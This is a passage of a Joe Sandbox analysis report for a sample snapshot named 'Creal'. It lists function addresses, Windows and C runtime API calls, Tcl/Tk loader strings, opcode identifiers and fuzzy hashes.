Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: 497c6f3b45805196ef8f930e068bad9451f3f50de380bc241881b145e929bf5b
Instruction ID: a0eff770567124c8f70ae36c21db0a050439004df88d9ab90ab3101f30fc062a
Opcode Fuzzy Hash: 497c6f3b45805196ef8f930e068bad9451f3f50de380bc241881b145e929bf5b
Instruction Fuzzy Hash: 10118C32A2C64282FB948F54A55157EB7A0FB85771F50023BFA99C19ECEF2CD024DB40

Function 00007FF6D925A948 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF6D9262D22,?,?,?,00007FF6D9262D5F,?,?,00000000,00007FF6D9263225,?,?,?,00007FF6D9263157), ref: 00007FF6D925A95E
GetLastError.KERNEL32(?,?,?,00007FF6D9262D22,?,?,?,00007FF6D9262D5F,?,?,00000000,00007FF6D9263225,?,?,?,00007FF6D9263157), ref: 00007FF6D925A968

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 46e6024f15a2f57ad5ff64688e0fe3cec5898f8577aba2f63b046adc8766ef53
Instruction ID: 024c3c9abccb8f6183b5ba29708f49af185c4575b9eaea928a1e18f19c3c61bd
Opcode Fuzzy Hash: 46e6024f15a2f57ad5ff64688e0fe3cec5898f8577aba2f63b046adc8766ef53
Instruction Fuzzy Hash: 38E08C10F3D20242FF486FF2AA4613C12506F88B40F444037C80DC22E9EE2C68B18310

Function 00007FF6D925AB58 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF6D925A9D5,?,?,00000000,00007FF6D925AA8A), ref: 00007FF6D925ABC6
GetLastError.KERNEL32(?,?,?,00007FF6D925A9D5,?,?,00000000,00007FF6D925AA8A), ref: 00007FF6D925ABD0

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction ID: 0223abdaf3aec45d5b638ba39de0b3a780afcbdcce0d4ba000a3e695e9bbde0f
Opcode Fuzzy Hash: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction Fuzzy Hash: A0219321F3C68241FAE49F61A69537D16929F947A0F48423BDA2EC77D9CEACA4618340

Function 00007FF6D925BEAC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6D925BED4

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction ID: a24c76c9d210eac199df107db088feb5b8768afebe37028d1afa97fa095e69bf
Opcode Fuzzy Hash: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction Fuzzy Hash: B741C23292864187FAB48F29AA4127D73A0EB55B91F140136EB8EC36D9CF2CE412CB51

Function 00007FF6D9247F90 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF6D924803A

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 0d9b876d10d805dff503d874c4ea45c5a09dbb383c6c45e0b037d67d7559761f
Instruction ID: 6e7a3ff0c2168c72e4910b1b475e8b39f445a6889bea59c0bcb61fc23f1936c9
Opcode Fuzzy Hash: 0d9b876d10d805dff503d874c4ea45c5a09dbb383c6c45e0b037d67d7559761f
Instruction Fuzzy Hash: 4221C921B3965146FE509F226A043BE9651BF59BC4F8C5432EE0D8B78ADE7DE051CB00

Function 00007FF6D925B93C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6D925B9C2

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 0fe3e981c7cf3185d146a9a4244026f2f164e791e6f92d2a50fd94940550a020
Instruction ID: dd1eb2b37bf97c06db5fa5280ff32fba35232e393abcacaf9c40f1a97c1755ad
Opcode Fuzzy Hash: 0fe3e981c7cf3185d146a9a4244026f2f164e791e6f92d2a50fd94940550a020
Instruction Fuzzy Hash: D531B332A3860285F791AF559A4137C7AA0BF81BA0F410137E95D833DACF7CE8618711

Function 00007FF6D9259961 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6D925998F

Part of subcall function 00007FF6D9259A88: GetModuleHandleExW.KERNEL32 ref: 00007FF6D9259AAD
Part of subcall function 00007FF6D9259A88: GetProcAddress.KERNEL32 ref: 00007FF6D9259AC3
Part of subcall function 00007FF6D9259A88: FreeLibrary.KERNEL32 ref: 00007FF6D9259AEA

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 42808d7c08696a35870eb95595f0ae95ff90971c005bfc8769c42bb91e99b0de
Instruction ID: 0ff21f1e3e976f0bdfcde6583d2841fa6212c9a6f68a020f4e0a4d59eb8df254
Opcode Fuzzy Hash: 42808d7c08696a35870eb95595f0ae95ff90971c005bfc8769c42bb91e99b0de
Instruction Fuzzy Hash: E2218D7AA2474589FBA49F68C4802BC37B0EB04718F840637D75D86BC9DF38E554C780

Function 00007FF6D9255F94 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6D9255EF9

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: c2b7999d4cccfb39bdc9cfdfb841ee656dbdd475e057806694eec99b484c49de
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: 6211A531A3C64282FAE09F91A60167DA264BF95B84F444433EA8DD7ADECF3CE4205700

Function 00007FF6D9266354 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6D9266377

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction ID: c279b833e2fad2d16ca1bdbb0932a93e1c676fb368c78f3ac46b05b4e9485e76
Opcode Fuzzy Hash: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction Fuzzy Hash: 53216532628A8186FB618F18D54037E76A0FB84F54F644239EA5DC7AD9DF3DD425CB40

Function 00007FF6D92503BC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6D9250410

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: e0081ba9437f14867cdb11604b16befe59519085dad80cfa8433d71979667dba
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: F3018821A6874581F944DF525E011BDA695BF95FE0F484632DE5C97BDECE3CE8258300

Function 00007FF6D925D5FC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF6D9250C90,?,?,?,00007FF6D92522FA,?,?,?,?,?,00007FF6D9253AE9), ref: 00007FF6D925D63A

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction ID: 665b62b8781762c413846b8fd623c94bd1d4d5dea1795e7063e0d88f298aab5f
Opcode Fuzzy Hash: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction Fuzzy Hash: 67F0FE10F2928645FE946F716A4167D11945F887A0F480732DD2EC6AC9DD2CF4A18651

Non-executed Functions

Function 00007FF6D92476C0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF6D92476D7
GetLastError.KERNEL32 ref: 00007FF6D92476E9
GetProcAddress.KERNEL32 ref: 00007FF6D9247725
GetLastError.KERNEL32 ref: 00007FF6D9247737
GetProcAddress.KERNEL32 ref: 00007FF6D9247750
GetLastError.KERNEL32 ref: 00007FF6D9247762
GetProcAddress.KERNEL32 ref: 00007FF6D924777B
GetLastError.KERNEL32 ref: 00007FF6D924778D
GetProcAddress.KERNEL32 ref: 00007FF6D92477A9
GetLastError.KERNEL32 ref: 00007FF6D92477BB
GetProcAddress.KERNEL32 ref: 00007FF6D92477D7
GetLastError.KERNEL32 ref: 00007FF6D92477E9
GetProcAddress.KERNEL32 ref: 00007FF6D9247805
GetLastError.KERNEL32 ref: 00007FF6D9247817
GetProcAddress.KERNEL32 ref: 00007FF6D9247833
GetLastError.KERNEL32 ref: 00007FF6D9247845
GetProcAddress.KERNEL32 ref: 00007FF6D9247861
GetLastError.KERNEL32 ref: 00007FF6D9247873

Strings

Tcl_GetVar2, xrefs: 00007FF6D9247A23, 00007FF6D9247A45
Tcl_Alloc, xrefs: 00007FF6D9247C1D, 00007FF6D9247C3F
Tcl_ThreadQueueEvent, xrefs: 00007FF6D92479C7, 00007FF6D92479E9
Tcl_ConditionNotify, xrefs: 00007FF6D924796B, 00007FF6D924798D
Tcl_ConditionWait, xrefs: 00007FF6D9247999, 00007FF6D92479BB
Tcl_MutexLock, xrefs: 00007FF6D92478B3, 00007FF6D92478D5
Tcl_DeleteInterp, xrefs: 00007FF6D92477FB, 00007FF6D924781D
Tcl_NewByteArrayObj, xrefs: 00007FF6D9247B09, 00007FF6D9247B2B
Tcl_DoOneEvent, xrefs: 00007FF6D9247771, 00007FF6D9247793
Tcl_SetVar2Ex, xrefs: 00007FF6D9247B37, 00007FF6D9247B59
Tcl_Init, xrefs: 00007FF6D92476D0, 00007FF6D92476EF
Failed to get address for %hs, xrefs: 00007FF6D92476F8
Tcl_MutexUnlock, xrefs: 00007FF6D92478E1, 00007FF6D9247903
Tcl_JoinThread, xrefs: 00007FF6D9247885, 00007FF6D92478A7
Tcl_EvalFile, xrefs: 00007FF6D9247B93, 00007FF6D9247BB5
Tcl_GetString, xrefs: 00007FF6D9247AAD, 00007FF6D9247ACF
Tcl_GetObjResult, xrefs: 00007FF6D9247B65, 00007FF6D9247B87
Tcl_EvalEx, xrefs: 00007FF6D9247BC1, 00007FF6D9247BE3
Tcl_ConditionFinalize, xrefs: 00007FF6D924793D, 00007FF6D924795F
Tcl_CreateInterp, xrefs: 00007FF6D924771B, 00007FF6D924773D
Tk_Init, xrefs: 00007FF6D9247C79, 00007FF6D9247C9B
GetProcAddress, xrefs: 00007FF6D92476FF
Tcl_Free, xrefs: 00007FF6D9247C4B, 00007FF6D9247C6D
Tcl_FinalizeThread, xrefs: 00007FF6D92477CD, 00007FF6D92477EF
Tcl_SetVar2, xrefs: 00007FF6D9247A51, 00007FF6D9247A73
Tcl_NewStringObj, xrefs: 00007FF6D9247ADB, 00007FF6D9247AFD
Tcl_EvalObjv, xrefs: 00007FF6D9247BEF, 00007FF6D9247C11
Tcl_MutexFinalize, xrefs: 00007FF6D924790F, 00007FF6D9247931
Tcl_GetCurrentThread, xrefs: 00007FF6D9247857, 00007FF6D9247879
Tk_GetNumMainWindows, xrefs: 00007FF6D9247CA7, 00007FF6D9247CC9
Tcl_ThreadAlert, xrefs: 00007FF6D92479F5, 00007FF6D9247A17
Tcl_CreateThread, xrefs: 00007FF6D9247829, 00007FF6D924784B
Tcl_CreateObjCommand, xrefs: 00007FF6D9247A7F, 00007FF6D9247AA1
Tcl_FindExecutable, xrefs: 00007FF6D9247746, 00007FF6D9247768
Tcl_Finalize, xrefs: 00007FF6D924779F, 00007FF6D92477C1

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
Opcode ID: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction ID: 67368dc6e4cfa4e6ac1a29894f0b3ce193d96c8a97206f6bc912c410d673ef24
Opcode Fuzzy Hash: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction Fuzzy Hash: A902D824A2EB0BC0FA159F56AE1457C23A5BF18744F441137D82EC6AA0EF3CB579C780

Function 00007FF6D924D12C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6D924D148
RtlCaptureContext.KERNEL32 ref: 00007FF6D924D175
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6D924D18F
RtlVirtualUnwind.KERNEL32 ref: 00007FF6D924D1D0
IsDebuggerPresent.KERNEL32 ref: 00007FF6D924D224
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6D924D241
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6D924D24C

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction ID: e24f27fff603baf5603516c66a84f0443c3a115bbc2d977c42aed604b4cb0585
Opcode Fuzzy Hash: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction Fuzzy Hash: B1313E76618B8186FB609F60E8903EE73A4FB98748F44413ADA4E87B95DF38D558CB10

Function 00007FF6D925A614 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6D925A68D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6D925A6A5
RtlVirtualUnwind.KERNEL32 ref: 00007FF6D925A6E0
IsDebuggerPresent.KERNEL32 ref: 00007FF6D925A719
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6D925A723
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6D925A72E

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction ID: e892f0837ace082600236e75137d066ff9c9de858a8304ebe6160bd2fe677e95
Opcode Fuzzy Hash: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction Fuzzy Hash: 37319536628F8186EB60CF25E9402AE73A4FB88758F540136EA9D83B98DF3CD555CB40

Function 00007FF6D9261874 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6D92618C0
FindFirstFileExW.KERNEL32 ref: 00007FF6D92619CA

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 471de8175ffa50438b20796c5ba06e190623de8bcba55c14971da5e7bf2bc1ae
Instruction ID: c5ddc048e099199de1637b0649a021cad54cb74c176c1098b036de56783ecf5d
Opcode Fuzzy Hash: 471de8175ffa50438b20796c5ba06e190623de8bcba55c14971da5e7bf2bc1ae
Instruction Fuzzy Hash: 03B1A522B3869241FA619F2196121BD63A1EF85BE4F445133DA5D87FDADE3CF461C380

Function 00007FF6D9245830 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF6D92464CF,?,00007FF6D924336E), ref: 00007FF6D9245840
GetLastError.KERNEL32(?,00007FF6D92464CF,?,00007FF6D924336E), ref: 00007FF6D9245852
GetProcAddress.KERNEL32(?,00007FF6D92464CF,?,00007FF6D924336E), ref: 00007FF6D9245889
GetLastError.KERNEL32(?,00007FF6D92464CF,?,00007FF6D924336E), ref: 00007FF6D924589B
GetProcAddress.KERNEL32(?,00007FF6D92464CF,?,00007FF6D924336E), ref: 00007FF6D92458B4
GetLastError.KERNEL32(?,00007FF6D92464CF,?,00007FF6D924336E), ref: 00007FF6D92458C6
GetProcAddress.KERNEL32(?,00007FF6D92464CF,?,00007FF6D924336E), ref: 00007FF6D92458DF
GetLastError.KERNEL32(?,00007FF6D92464CF,?,00007FF6D924336E), ref: 00007FF6D92458F1
GetProcAddress.KERNEL32(?,00007FF6D92464CF,?,00007FF6D924336E), ref: 00007FF6D924590D
GetLastError.KERNEL32(?,00007FF6D92464CF,?,00007FF6D924336E), ref: 00007FF6D924591F
GetProcAddress.KERNEL32(?,00007FF6D92464CF,?,00007FF6D924336E), ref: 00007FF6D924593B
GetLastError.KERNEL32(?,00007FF6D92464CF,?,00007FF6D924336E), ref: 00007FF6D924594D
GetProcAddress.KERNEL32(?,00007FF6D92464CF,?,00007FF6D924336E), ref: 00007FF6D9245969
GetLastError.KERNEL32(?,00007FF6D92464CF,?,00007FF6D924336E), ref: 00007FF6D924597B
GetProcAddress.KERNEL32(?,00007FF6D92464CF,?,00007FF6D924336E), ref: 00007FF6D9245997
